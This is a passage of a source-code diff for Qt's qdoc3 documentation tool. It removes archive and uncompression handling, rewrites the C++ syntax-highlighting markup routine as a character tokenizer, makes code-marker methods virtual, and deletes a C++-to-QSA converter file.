@@ -456,62 +428,18 @@ QString Config::findFile(const Location& location,
QStringList::ConstIterator c = components.begin();
for (;;) {
bool isArchive = (c != components.end() - 1);
- ArchiveExtractor *extractor = 0;
QString userFriendly = *c;
- if (isArchive) {
- extractor = ArchiveExtractor::extractorForFileName(userFriendly);
- }
-
- if (extractor == 0) {
- Uncompressor *uncompressor =
- Uncompressor::uncompressorForFileName(userFriendly);
- if (uncompressor != 0) {
- QString fileNameWithCorrectExtension =
- uncompressor->uncompressedFilePath(
- fileInfo.filePath());
- QString uncompressed = uncompressedFiles[fileInfo.filePath()];
- if (uncompressed.isEmpty()) {
- uncompressed =
- QTemporaryFile(fileInfo.filePath()).fileName();
- uncompressor->uncompressFile(location,
- fileInfo.filePath(),
- uncompressed);
- uncompressedFiles[fileInfo.filePath()] = uncompressed;
- }
- fileInfo.setFile(uncompressed);
-
- if (isArchive) {
- extractor = ArchiveExtractor::extractorForFileName(
- fileNameWithCorrectExtension);
- }
- else {
- userFriendly = fileNameWithCorrectExtension;
- }
- }
- }
userFriendlyFilePath += userFriendly;
if (isArchive) {
- if (extractor == 0)
- location.fatal(tr("Unknown archive type '%1'")
- .arg(userFriendlyFilePath));
QString extracted = extractedDirs[fileInfo.filePath()];
- if (extracted.isEmpty()) {
- extracted = QTemporaryFile(fileInfo.filePath()).fileName();
- if (!QDir().mkdir(extracted))
- location.fatal(tr("Cannot create temporary directory '%1'")
- .arg(extracted));
- extractor->extractArchive(location, fileInfo.filePath(),
- extracted);
- extractedDirs[fileInfo.filePath()] = extracted;
- }
++c;
fileInfo.setFile(QDir(extracted), *c);
}
- else {
+ else
break;
- }
+
userFriendlyFilePath += "?";
}
return fileInfo.filePath();
diff --git a/tools/qdoc3/config.h b/tools/qdoc3/config.h
index fc277a7..9ebc0f8 100644
--- a/tools/qdoc3/config.h
+++ b/tools/qdoc3/config.h
@@ -76,7 +76,6 @@ class Config
QSet<QString> subVars(const QString& var) const;
QStringList getAllFiles(const QString& filesVar,
const QString& dirsVar,
- const QString& defaultNameFilter,
const QSet<QString> &excludedDirs = QSet<QString>());
static QStringList getFilesHere(const QString& dir,
@@ -119,12 +118,12 @@ class Config
};
#define CONFIG_ALIAS "alias"
-#define CONFIG_APPLICATION "application"
#define CONFIG_BASE "base" // ### don't document for now
#define CONFIG_CODEINDENT "codeindent"
#define CONFIG_DEFINES "defines"
#define CONFIG_DESCRIPTION "description"
#define CONFIG_EDITION "edition"
+#define CONFIG_ENDHEADER "endheader"
#define CONFIG_EXAMPLEDIRS "exampledirs"
#define CONFIG_EXAMPLES "examples"
#define CONFIG_EXCLUDEDIRS "excludedirs"
@@ -134,6 +133,8 @@ class Config
#define CONFIG_GENERATEINDEX "generateindex"
#define CONFIG_HEADERDIRS "headerdirs"
#define CONFIG_HEADERS "headers"
+#define CONFIG_HEADERSCRIPTS "headerscripts"
+#define CONFIG_HEADERSTYLES "headerstyles"
#define CONFIG_IGNOREDIRECTIVES "ignoredirectives"
#define CONFIG_IGNORETOKENS "ignoretokens"
#define CONFIG_IMAGEDIRS "imagedirs"
@@ -143,11 +144,11 @@ class Config
#define CONFIG_MACRO "macro"
#define CONFIG_NATURALLANGUAGE "naturallanguage"
#define CONFIG_OBSOLETELINKS "obsoletelinks"
-#define CONFIG_APPLICATION "application"
#define CONFIG_OUTPUTDIR "outputdir"
#define CONFIG_OUTPUTENCODING "outputencoding"
#define CONFIG_OUTPUTLANGUAGE "outputlanguage"
#define CONFIG_OUTPUTFORMATS "outputformats"
+#define CONFIG_OUTPUTPREFIXES "outputprefixes"
#define CONFIG_PROJECT "project"
#define CONFIG_QHP "qhp"
#define CONFIG_QUOTINGINFORMATION "quotinginformation"
@@ -160,8 +161,11 @@ class Config
#define CONFIG_SOURCES "sources"
#define CONFIG_SPURIOUS "spurious"
#define CONFIG_STYLEDIRS "styledirs"
+#define CONFIG_STYLE "style"
#define CONFIG_STYLES "styles"
#define CONFIG_STYLESHEETS "stylesheets"
+#define CONFIG_SYNTAXHIGHLIGHTING "syntaxhighlighting"
+#define CONFIG_TEMPLATEDIR "templatedir"
#define CONFIG_TABSIZE "tabsize"
#define CONFIG_TAGFILE "tagfile"
#define CONFIG_TRANSLATORS "translators" // ### don't document for now
diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp
index f04398f..e27916b 100644
--- a/tools/qdoc3/cppcodemarker.cpp
+++ b/tools/qdoc3/cppcodemarker.cpp
@@ -43,7 +43,6 @@
cppcodemarker.cpp
*/
-#include <qdebug.h>
#include "atom.h"
#include "cppcodemarker.h"
#include "node.h"
@@ -52,29 +51,6 @@
QT_BEGIN_NAMESPACE
-static int insertTagAround(QString &result, int pos, int len, const QString &tagName,
- const QString &attributes = QString())
-{
- QString s;
- //s.reserve(result.size() + tagName.size() * 2 + attributes.size() + 20);
- s += result.midRef(0, pos);
- s += QLatin1Char('<');
- s += tagName;
- if (!attributes.isEmpty()) {
- s += QLatin1Char(' ');
- s += attributes;
- }
- s += QLatin1Char('>');
- s += result.midRef(pos, len);
- s += QLatin1String("</");
- s += tagName;
- s += QLatin1Char('>');
- s += result.midRef(pos + len);
- int diff = s.length() - result.length();
- result = s;
- return diff;
-}
-
/*!
The constructor does nothing.
*/
@@ -127,6 +103,14 @@ bool CppCodeMarker::recognizeLanguage(const QString &lang)
}
/*!
+ Returns the type of atom used to represent C++ code in the documentation.
+*/
+Atom::Type CppCodeMarker::atomType() const
+{
+ return Atom::Code;
+}
+
+/*!
Returns the \a node name, or "()" if \a node is a
Node::Function node.
*/
@@ -158,9 +142,9 @@ QString CppCodeMarker::plainFullName(const Node *node, const Node *relative)
QString CppCodeMarker::markedUpCode(const QString &code,
const Node *relative,
- const QString &dirPath)
+ const Location &location)
{
- return addMarkUp(protect(code), relative, dirPath);
+ return addMarkUp(code, relative, location);
}
QString CppCodeMarker::markedUpSynopsis(const Node *node,
@@ -438,10 +422,10 @@ QString CppCodeMarker::markedUpIncludes(const QStringList& includes)
QStringList::ConstIterator inc = includes.begin();
while (inc != includes.end()) {
- code += "#include &lt;<@headerfile>" + *inc + "</@headerfile>&gt;\n";
+ code += "<@preprocessor>#include &lt;<@headerfile>" + *inc + "</@headerfile>&gt;</@preprocessor>\n";
++inc;
}
- return addMarkUp(code, 0, "");
+ return code;
}
QString CppCodeMarker::functionBeginRegExp(const QString& funcName)
@@ -455,21 +439,6 @@ QString CppCodeMarker::functionEndRegExp(const QString& /* funcName */)
return "^\\}$";
}
-#if 0
- FastSection privateReimpFuncs(classe,
- "Private Reimplemented Functions",
- "private reimplemented function",
- "private reimplemented functions");
- FastSection protectedReimpFuncs(classe,
- "Protected Reimplemented Functions",
- "protected reimplemented function",
- "protected reimplemented functions");
- FastSection publicReimpFuncs(classe,
- "Public Reimplemented Functions",
- "public reimplemented function",
- "public reimplemented functions");
-#endif
-
QList<Section> CppCodeMarker::sections(const InnerNode *inner,
SynopsisStyle style,
Status status)
@@ -882,240 +851,282 @@ const Node *CppCodeMarker::resolveTarget(const QString& target,
return 0;
}
-QString CppCodeMarker::addMarkUp(const QString& protectedCode,
- const Node * /* relative */,
- const QString& /* dirPath */)
+static const char * const typeTable[] = {
+ "bool", "char", "double", "float", "int", "long", "short",
+ "signed", "unsigned", "uint", "ulong", "ushort", "uchar", "void",
+ "qlonglong", "qulonglong",
+ "qint", "qint8", "qint16", "qint32", "qint64",
+ "quint", "quint8", "quint16", "quint32", "quint64",
+ "qreal", "cond", 0
+};
+
+static const char * const keywordTable[] = {
+ "and", "and_eq", "asm", "auto", "bitand", "bitor", "break",
+ "case", "catch", "class", "compl", "const", "const_cast",
+ "continue", "default", "delete", "do", "dynamic_cast", "else",
+ "enum", "explicit", "export", "extern", "false", "for", "friend",
+ "goto", "if", "include", "inline", "monitor", "mutable", "namespace",
+ "new", "not", "not_eq", "operator", "or", "or_eq", "private", "protected",
+ "public", "register", "reinterpret_cast", "return", "sizeof",
+ "static", "static_cast", "struct", "switch", "template", "this",
+ "throw", "true", "try", "typedef", "typeid", "typename", "union",
+ "using", "virtual", "volatile", "wchar_t", "while", "xor",
+ "xor_eq", "synchronized",
+ // Qt specific
+ "signals", "slots", "emit", 0
+};
+
+static QString untabified(const QString &in)
{
- static QRegExp globalInclude("#include +&lt;([^<>&]+)&gt;");
- static QRegExp yHasTypeX("(?:^|\n *)([a-zA-Z_][a-zA-Z_0-9]*)"
- "(?:&lt;[^;{}]+&gt;)?(?: *(?:\\*|&amp;) *| +)"
- "([a-zA-Z_][a-zA-Z_0-9]*)? *[,;()=]");
- static QRegExp xNewY("([a-zA-Z_][a-zA-Z_0-9]*) *= *new +([a-zA-Z_0-9]+)");
- static QRegExp xDotY("\\b([a-zA-Z_][a-zA-Z_0-9]*) *(?:\\.|-&gt;|,[ \n]*S(?:IGNAL|LOT)\\() *"
- "([a-zA-Z_][a-zA-Z_0-9]*)(?= *\\()");
- static QRegExp xIsStaticZOfY("[\n:;{(=] *(([a-zA-Z_0-9]+)::([a-zA-Z_0-9]+))(?= *\\()");
- static QRegExp classX("[:,][ \n]*(?:p(?:ublic|r(?:otected|ivate))[ \n]+)?"
- "([a-zA-Z_][a-zA-Z_0-9]*)");
- static QRegExp globalX("[\n{()=] *([a-zA-Z_][a-zA-Z_0-9]*)[ \n]*\\(");
- static QRegExp multiLineComment("/(?:( )?\\*(?:[^*]+|\\*(?! /))*\\*\\1/)");
- multiLineComment.setMinimal(true);
- static QRegExp singleLineComment("[^:]//(?!!)[^!\\n]*");
- static QRegExp preprocessor("(?:^|\n)(#[ \t]*(?:include|if|elif|endif|error|pragma|define"
- "|warning)(?:(?:\\\\\n|\\n#)[^\n]*)*)");
- static QRegExp literals("&quot;(?:[^\\\\&]|\\\\[^\n]|&(?!quot;))*&quot;"
- "|'(?:[^\\\\]|\\\\(?:[^x0-9']|x[0-9a-f]{1,4}|[0-9]{1,3}))'");
-
- QString result = protectedCode;
- int pos;
-
- if (!hurryUp()) {
- /*
- Mark global includes. For example:
-
- #include &lt;<@headerfile>QString</@headerfile>
- */
- pos = 0;
- while ((pos = result.indexOf(globalInclude, pos)) != -1)
- pos += globalInclude.matchedLength()
- + insertTagAround(result,
- globalInclude.pos(1),
- globalInclude.cap(1).length(),
- "@headerfile");
-
- /*
- Look for variable definitions and similar constructs, mark
- the data type, and remember the type of the variable.
- */
- QMap<QString, QSet<QString> > typesForVariable;
- pos = 0;
- while ((pos = yHasTypeX.indexIn(result, pos)) != -1) {
- QString x = yHasTypeX.cap(1);
- QString y = yHasTypeX.cap(2);
-
- if (!y.isEmpty())
- typesForVariable[y].insert(x);
-
- /*
- Without the minus one at the end, 'void member(Class
- var)' would give 'member' as a variable of type 'void',
- but would ignore 'Class var'. (### Is that true?)
- */
- pos += yHasTypeX.matchedLength()
- + insertTagAround(result,
- yHasTypeX.pos(1),
- x.length(),
- "@type") - 1;
- }
+ QString res;
+ int col = 0;
+ int i = 0;
+
+ for (; i < (int) in.length(); i++) {
+ if (in[i] == QChar('\t')) {
+ res += QString(" " + (col & 0x7));
+ col = (col + 8) & ~0x7;
+ } else {
+ res += in[i];
+ if (in[i] == QChar('\n'))
+ col = 0;
+ }
+ }
- /*
- Do syntax highlighting of preprocessor directives.
- */
- pos = 0;
- while ((pos = preprocessor.indexIn(result, pos)) != -1)
- pos += preprocessor.matchedLength()
- + insertTagAround(result,
- preprocessor.pos(1),
- preprocessor.cap(1).length(),
- "@preprocessor");
-
- /*
- Deal with string and character literals.
- */
- pos = 0;
- while ((pos = literals.indexIn(result, pos)) != -1)
- pos += literals.matchedLength()
- + insertTagAround(result,
- pos,
- literals.matchedLength(),
- result.at(pos) ==
- QLatin1Char(' ') ? "@string" : "@char");
-
- /*
- Look for 'var = new Class'.
- */
- pos = 0;
- while ((pos = xNewY.indexIn(result, pos)) != -1) {
- QString x = xNewY.cap(1);
- QString y = xNewY.cap(2);
- typesForVariable[x].insert(y);
-
- pos += xNewY.matchedLength() + insertTagAround(result,
- xNewY.pos(2),
- y.length(),
- "@type");
- }
+ return res;
+}
- /*
- Insert some stuff that cannot harm.
- */
- typesForVariable["qApp"].insert("QApplication");
-
- /*
- Add link to ': Class'.
- */
- pos = 0;
- while ((pos = classX.indexIn(result, pos)) != -1)
- pos += classX.matchedLength()
- + insertTagAround(result,
- classX.pos(1),
- classX.cap(1).length(),
- "@type") - 1;
-
- /*
- Find use of any of
-
- var.method()
- var->method()
- var, SIGNAL(method())
- var, SLOT(method()).
- */
- pos = 0;
- while ((pos = xDotY.indexIn(result, pos)) != -1) {
- QString x = xDotY.cap(1);
- QString y = xDotY.cap(2);
-
- QSet<QString> types = typesForVariable.value(x);
- pos += xDotY.matchedLength()
- + insertTagAround(result,
- xDotY.pos(2),
- xDotY.cap(2).length(),
- "@func",
- (types.count() == 1) ? "target=\""
- + protect(*types.begin() + "::" + y)
- + "()\"" : QString());
- }
+/*
+ @char
+ @class
+ @comment
+ @function
+ @keyword
+ @number
+ @op
+ @preprocessor
+ @string
+ @type
+*/
- /*
- Add link to 'Class::method()'.
- */
- pos = 0;
- while ((pos = xIsStaticZOfY.indexIn(result, pos)) != -1) {
- QString x = xIsStaticZOfY.cap(1);
- QString z = xIsStaticZOfY.cap(3);
-
- pos += insertTagAround(result,
- xIsStaticZOfY.pos(3),
- z.length(),
- "@func",
- "target=\"" + protect(x) + "()\"");
- pos += insertTagAround(result,
- xIsStaticZOfY.pos(2),
- xIsStaticZOfY.cap(2).length(),
- "@type");
- pos += xIsStaticZOfY.matchedLength() - 1;
- }
+QString CppCodeMarker::addMarkUp(const QString &in,
+ const Node * /* relative */,
+ const Location & /* location */)
+{
+#define readChar() \
+ ch = (i < (int)code.length()) ? code[i++].cell() : EOF
- /*
- Add link to 'globalFunction()'.
- */
- pos = 0;
- while ((pos = globalX.indexIn(result, pos)) != -1) {
- QString x = globalX.cap(1);
- if (x != "QT_FORWARD_DECLARE_CLASS") {
- pos += globalX.matchedLength()
- + insertTagAround(result,
- globalX.pos(1),
- x.length(),
- "@func",
- "target=\"" + protect(x) + "()\"") - 1;
- }
- else
- pos += globalX.matchedLength();
- }
+ QString code = in;
+
+ QMap<QString, int> types;
+ QMap<QString, int> keywords;
+ int j = 0;
+ while (typeTable[j] != 0) {
+ types.insert(QString(typeTable[j]), 0);
+ j++;
+ }
+ j = 0;
+ while (keywordTable[j] != 0) {
+ keywords.insert(QString(keywordTable[j]), 0);
+ j++;
}
- /*
- Do syntax highlighting of comments. Also alter the code in a
- minor way, so that we can include comments in documentation
- comments.
- */
- pos = 0;
- while (pos != -1) {
- int mlpos;
- int slpos;
- int len;
- slpos = singleLineComment.indexIn(result, pos);
- mlpos = multiLineComment.indexIn(result, pos);
-
- if (slpos == -1 && mlpos == -1)
- break;
-
- if (slpos == -1) {
- pos = mlpos;
- len = multiLineComment.matchedLength();
- }
- else if (mlpos == -1) {
- pos = slpos + 1;
- len = singleLineComment.matchedLength() - 1;
- }
- else {
- if (slpos < mlpos) {
- pos = slpos + 1;
- len = singleLineComment.matchedLength() - 1;
- }
- else {
- pos = mlpos;
- len = multiLineComment.matchedLength();
- }
- }
+ QString out("");
+ int braceDepth = 0;
+ int parenDepth = 0;
+ int i = 0;
+ int start = 0;
+ int finish = 0;
+ char ch;
+ QRegExp classRegExp("Qt?(?:[A-Z3]+[a-z][A-Za-z]*|t)");
+ QRegExp functionRegExp("q([A-Z][a-z]+)+");
+
+ readChar();
+
+ while (ch != EOF) {
+ QString tag;
+ bool target = false;
+
+ if (isalpha(ch) || ch == '_') {
+ QString ident;
+ do {
+ ident += ch;
+ finish = i;
+ readChar();
+ } while (isalnum(ch) || ch == '_');
+
+ if (classRegExp.exactMatch(ident)) {
+ tag = QLatin1String("type");
+ } else if (functionRegExp.exactMatch(ident)) {
+ tag = QLatin1String("func");
+ target = true;
+ } else if (types.contains(ident)) {
+ tag = QLatin1String("type");
+ } else if (keywords.contains(ident)) {
+ tag = QLatin1String("keyword");
+ } else if (braceDepth == 0 && parenDepth == 0) {
+ if (QString(code.unicode() + i - 1, code.length() - (i - 1))
+ .indexOf(QRegExp(QLatin1String("^\\s*\\("))) == 0)
+ tag = QLatin1String("func");
+ target = true;
+ }
+ } else if (isdigit(ch)) {
+ do {
+ finish = i;
+ readChar();
+ } while (isalnum(ch) || ch == '.');
+ tag = QLatin1String("number");
+ } else {
+ switch (ch) {
+ case '+':
+ case '-':
+ case '!':
+ case '%':
+ case '^':
+ case '&':
+ case '*':
+ case ',':
+ case '.':
+ case '<':
+ case '=':
+ case '>':
+ case '?':
+ case '[':
+ case ']':
+ case '|':
+ case '~':
+ finish = i;
+ readChar();
+ tag = QLatin1String("op");
+ break;
+ case '"':
+ finish = i;
+ readChar();
+
+ while (ch != EOF && ch != '"') {
+ if (ch == '\\')
+ readChar();
+ readChar();
+ }
+ finish = i;
+ readChar();
+ tag = QLatin1String("string");
+ break;
+ case '#':
+ finish = i;
+ readChar();
+ while (ch != EOF && ch != '\n') {
+ if (ch == '\\')
+ readChar();
+ finish = i;
+ readChar();
+ }
+ tag = QLatin1String("preprocessor");
+ break;
+ case '\'':
+ finish = i;
+ readChar();
+
+ while (ch != EOF && ch != '\'') {
+ if (ch == '\\')
+ readChar();
+ readChar();
+ }
+ finish = i;
+ readChar();
+ tag = QLatin1String("char");
+ break;
+ case '(':
+ finish = i;
+ readChar();
+ parenDepth++;
+ break;
+ case ')':
+ finish = i;
+ readChar();
+ parenDepth--;
+ break;
+ case ':':
+ finish = i;
+ readChar();
+ if (ch == ':') {
+ finish = i;
+ readChar();
+ tag = QLatin1String("op");
+ }
+ break;
+ case '/':
+ finish = i;
+ readChar();
+ if (ch == '/') {
+ do {
+ finish = i;
+ readChar();
+ } while (ch != EOF && ch != '\n');
+ tag = QLatin1String("comment");
+ } else if (ch == '*') {
+ bool metAster = false;
+ bool metAsterSlash = false;
+
+ finish = i;
+ readChar();
+
+ while (!metAsterSlash) {
+ if (ch == EOF)
+ break;
+
+ if (ch == '*')
+ metAster = true;
+ else if (metAster && ch == '/')
+ metAsterSlash = true;
+ else
+ metAster = false;
+ finish = i;
+ readChar();
+ }
+ tag = QLatin1String("comment");
+ } else {
+ tag = QLatin1String("op");
+ }
+ break;
+ case '{':
+ finish = i;
+ readChar();
+ braceDepth++;
+ break;
+ case '}':
+ finish = i;
+ readChar();
+ braceDepth--;
+ break;
+ default:
+ finish = i;
+ readChar();
+ }
+ }
- if (result.at(pos + 1) == QLatin1Char(' ')) {
- result.remove(pos + len - 2, 1);
- result.remove(pos + 1, 1);
- len -= 2;
+ QString text;
+ text = code.mid(start, finish - start);
+ start = finish;
- forever {
- int endcodePos = result.indexOf("\\ endcode", pos);
- if (endcodePos == -1 || endcodePos >= pos + len)
- break;
- result.remove(endcodePos + 1, 1);
- len -= 1;
- }
+ if (!tag.isEmpty()) {
+ out += QLatin1String("<@") + tag;
+ if (target)
+ out += QLatin1String(" target=\"") + text + QLatin1String("()\"");
+ out += QLatin1String(">");
}
- pos += len + insertTagAround(result, pos, len, "@comment");
+
+ out += protect(text);
+
+ if (!tag.isEmpty())
+ out += QLatin1String("</@") + tag + QLatin1String(">");
+ }
+
+ if (start < code.length()) {
+ out += protect(code.mid(start));
}
- return result;
+ return out;
}
#ifdef QDOC_QML
diff --git a/tools/qdoc3/cppcodemarker.h b/tools/qdoc3/cppcodemarker.h
index 9c8d38c..061d642 100644
--- a/tools/qdoc3/cppcodemarker.h
+++ b/tools/qdoc3/cppcodemarker.h
@@ -56,41 +56,42 @@ class CppCodeMarker : public CodeMarker
CppCodeMarker();
~CppCodeMarker();
- bool recognizeCode(const QString& code);
- bool recognizeExtension(const QString& ext);
- bool recognizeLanguage(const QString& lang);
- QString plainName(const Node *node);
- QString plainFullName(const Node *node, const Node *relative);
- QString markedUpCode(const QString& code,
- const Node *relative,
- const QString& dirPath);
- QString markedUpSynopsis(const Node *node,
- const Node *relative,
- SynopsisStyle style);
+ virtual bool recognizeCode(const QString& code);
+ virtual bool recognizeExtension(const QString& ext);
+ virtual bool recognizeLanguage(const QString& lang);
+ virtual Atom::Type atomType() const;
+ virtual QString plainName(const Node *node);
+ virtual QString plainFullName(const Node *node, const Node *relative);
+ virtual QString markedUpCode(const QString& code,
+ const Node *relative,
+ const Location &location);
+ virtual QString markedUpSynopsis(const Node *node,
+ const Node *relative,
+ SynopsisStyle style);
#ifdef QDOC_QML
- QString markedUpQmlItem(const Node *node, bool summary);
+ virtual QString markedUpQmlItem(const Node *node, bool summary);
#endif
- QString markedUpName(const Node *node);
- QString markedUpFullName(const Node *node, const Node *relative);
- QString markedUpEnumValue(const QString &enumValue, const Node *relative);
- QString markedUpIncludes(const QStringList& includes);
- QString functionBeginRegExp(const QString& funcName);
- QString functionEndRegExp(const QString& funcName);
- QList<Section> sections(const InnerNode *innerNode,
- SynopsisStyle style,
- Status status);
- QList<Section> qmlSections(const QmlClassNode* qmlClassNode,
- SynopsisStyle style,
- const Tree* tree);
- const Node* resolveTarget(const QString& target,
- const Tree* tree,
- const Node* relative,
- const Node* self = 0);
+ virtual QString markedUpName(const Node *node);
+ virtual QString markedUpFullName(const Node *node, const Node *relative);
+ virtual QString markedUpEnumValue(const QString &enumValue, const Node *relative);
+ virtual QString markedUpIncludes(const QStringList& includes);
+ virtual QString functionBeginRegExp(const QString& funcName);
+ virtual QString functionEndRegExp(const QString& funcName);
+ virtual QList<Section> sections(const InnerNode *innerNode,
+ SynopsisStyle style,
+ Status status);
+ virtual QList<Section> qmlSections(const QmlClassNode* qmlClassNode,
+ SynopsisStyle style,
+ const Tree* tree);
+ virtual const Node* resolveTarget(const QString& target,
+ const Tree* tree,
+ const Node* relative,
+ const Node* self = 0);
private:
QString addMarkUp(const QString& protectedCode,
const Node *relative,
- const QString& dirPath);
+ const Location &location);
};
QT_END_NAMESPACE
diff --git a/tools/qdoc3/cppcodeparser.cpp b/tools/qdoc3/cppcodeparser.cpp
index cac778f..3979176 100644
--- a/tools/qdoc3/cppcodeparser.cpp
+++ b/tools/qdoc3/cppcodeparser.cpp
@@ -47,7 +47,6 @@
#include <stdio.h>
#include <errno.h>
-#include <qdebug.h>
#include "codechunk.h"
#include "config.h"
@@ -258,18 +257,18 @@ QString CppCodeParser::language()
/*!
Returns a list of extensions for header files.
*/
-QString CppCodeParser::headerFileNameFilter()
+QStringList CppCodeParser::headerFileNameFilter()
{
- return "*.ch *.h *.h++ *.hh *.hpp *.hxx";
+ return QStringList() << "*.ch" << "*.h" << "*.h++" << "*.hh" << "*.hpp" << "*.hxx";
}
/*!
Returns a list of extensions for source files, i.e. not
header files.
*/
-QString CppCodeParser::sourceFileNameFilter()
+QStringList CppCodeParser::sourceFileNameFilter()
{
- return "*.c++ *.cc *.cpp *.cxx";
+ return QStringList() << "*.c++" << "*.cc" << "*.cpp" << "*.cxx" << "*.mm";
}
/*!
@@ -966,16 +965,6 @@ void CppCodeParser::processOtherMetaCommand(const Doc& doc,
.arg(COMMAND_REIMP).arg(node->name()));
}
-#if 0
- // Reimplemented functions now reported in separate sections.
- /*
- Note: Setting the access to Private hides the documentation,
- but setting the status to Internal makes the node available
- in the XML output when the WebXMLGenerator is used.
- */
- func->setAccess(Node::Private);
- func->setStatus(Node::Internal);
-#endif
func->setReimp(true);
}
else {
diff --git a/tools/qdoc3/cppcodeparser.h b/tools/qdoc3/cppcodeparser.h
index b6d86d8..f708588 100644
--- a/tools/qdoc3/cppcodeparser.h
+++ b/tools/qdoc3/cppcodeparser.h
@@ -69,8 +69,8 @@ class CppCodeParser : public CodeParser
virtual void initializeParser(const Config& config);
virtual void terminateParser();
virtual QString language();
- virtual QString headerFileNameFilter();
- virtual QString sourceFileNameFilter();
+ virtual QStringList headerFileNameFilter();
+ virtual QStringList sourceFileNameFilter();
virtual void parseHeaderFile(const Location& location,
const QString& filePath,
Tree *tree);
diff --git a/tools/qdoc3/cpptoqsconverter.cpp b/tools/qdoc3/cpptoqsconverter.cpp
deleted file mode 100644
index d9dcad1..0000000
--- a/tools/qdoc3/cpptoqsconverter.cpp
+++ /dev/null
@@ -1,415 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- cpptoqsconverter.cpp
-*/
-
-#include "config.h"
-#include "cpptoqsconverter.h"
-
-QT_BEGIN_NAMESPACE
-
-#define CONFIG_QUICK "quick"
-#define CONFIG_INDENTSIZE "indentsize"
-
-void setTabSize( int size );
-void setIndentSize( int size );
-int columnForIndex( const QString& t, int index );
-int indentForBottomLine( const QStringList& program, QChar typedIn );
-
-static QString balancedParens = "(?:[^()]+|\\([^()]*\\))*";
-
-QRegExp CppToQsConverter::qClassRegExp;
-QRegExp CppToQsConverter::addressOperatorRegExp;
-QRegExp CppToQsConverter::gulbrandsenRegExp;
-int CppToQsConverter::tabSize;
-
-ClassNode *CppToQsConverter::findClassNode( Tree *qsTree,
- const QString& qtName )
-{
- ClassNode *classe = (ClassNode *) qsTree->findNode( QStringList(qtName), Node::Class );
- if ( classe == 0 )
- classe = (ClassNode *) qsTree->findNode( QStringList(qtName.mid(1)), Node::Class );
- return classe;
-}
-
-QString CppToQsConverter::convertedDataType( Tree *qsTree,
- const QString& leftType,
- const QString& /* rightType */ )
-{
- QString s = leftType;
-
- if ( s.startsWith("const ") )
- s = s.mid( 6 );
- while ( s.endsWith("*") || s.endsWith("&") || s.endsWith(" ") )
- s.truncate( s.length() - 1 );
-
- switch ( s[0].unicode() ) {
- case 'Q':
- if ( s == "QCString" ) {
- return "String";
- } else {
- Node *node = findClassNode( qsTree, s );
- if ( node == 0 ) {
- return "";
- } else {
- return node->name();
- }
- }
- break;
- case 'b':
- if ( s == "bool" )
- return "Boolean";
- break;
- case 'c':
- if ( s == "char" ) {
- if ( leftType == "const char *" ) {
- return "String";
- } else {
- return "Number";
- }
- }
- break;
- case 'd':
- if ( s == "double" )
- return "Number";
- break;
- case 'f':
- if ( s == "float" )
- return "Number";
- case 'i':
- if ( s == "int" )
- return "Number";
- break;
- case 'l':
- if ( s == "long" || s == "long int" || s == "long long" ||
- s == "long long int" || s == "long double" )
- return "Number";
- break;
- case 's':
- if ( s == "short" || s == "short int" || s == "signed char" ||
- s == "signed short" || s == "signed short int" || s == "signed" ||
- s == "signed int" || s == "signed long" || s == "signed long int" )
- return "Number";
- break;
- case 'u':
- if ( s == "uchar" || s == "unsigned" || s == "unsigned char" ||
- s == "ushort" || s == "unsigned short" ||
- s == "unsigned short int" || s == "uint" || s == "unsigned int" ||
- s == "ulong" || s == "unsigned long" || s == "unsigned long int" )
- return "Number";
- break;
- case 'v':
- if ( s == "void" )
- return "";
- }
- return s;
-}
-
-QString CppToQsConverter::convertedCode( Tree *qsTree, const QString& code,
- const QSet<QString>& classesWithNoQ )
-{
- QString result;
- QStringList program;
- QStringList comments;
- int programWidth = 0;
-
- QStringList originalLines = code.split("\n");
- QStringList::ConstIterator ol = originalLines.begin();
- while ( ol != originalLines.end() ) {
- QString code = (*ol).trimmed();
- QString comment;
-
- int slashSlash = code.indexOf( "//" );
- if ( slashSlash != -1 ) {
- comment = code.mid( slashSlash );
- code.truncate( slashSlash );
- code = code.trimmed();
- }
-
- code = convertCodeLine( qsTree, program, code, classesWithNoQ );
- program.append( code );
-
- comment = convertComment( qsTree, comment, classesWithNoQ );
- comments.append( comment );
-
- int n = indentForBottomLine( program, QChar::Null );
- for ( int i = 0; i < n; i++ )
- program.last().prepend( " " );
-
- int width = columnForIndex( program.last(), program.last().length() );
- if ( !comment.isEmpty() && width > programWidth )
- programWidth = width;
- ++ol;
- }
-
- programWidth = ( (programWidth + (tabSize - 1) + 2) / tabSize ) * tabSize;
-
- QStringList::ConstIterator p = program.begin();
- QStringList::ConstIterator c = comments.begin();
- while ( c != comments.end() ) {
- if ( c != comments.begin() )
- result += "\n";
-
- if ( (*p).trimmed().isEmpty() ) {
- if ( !(*c).isEmpty() )
- result += *p;
- } else {
- result += *p;
- if ( !(*c).isEmpty() ) {
- int i = columnForIndex( *p, (*p).length() );
- while ( i++ < programWidth )
- result += " ";
- }
- }
- result += *c;
- ++p;
- ++c;
- }
- return result;
-}
-
-void CppToQsConverter::initialize( const Config& config )
-{
- qClassRegExp.setPattern( "\\bQ([A-Z][A-Za-z]+)\\b" );
- addressOperatorRegExp.setPattern( "([(\\s])[*&]([a-zA-Z])" );
- gulbrandsenRegExp.setPattern( "\\b::\\b|->" );
-
- tabSize = config.getInt( CONFIG_TABSIZE );
- setTabSize( tabSize );
-
- int size = config.getInt( CONFIG_QUICK + Config::dot + CONFIG_INDENTSIZE );
- if ( size > 0 )
- setIndentSize( size );
-}
-
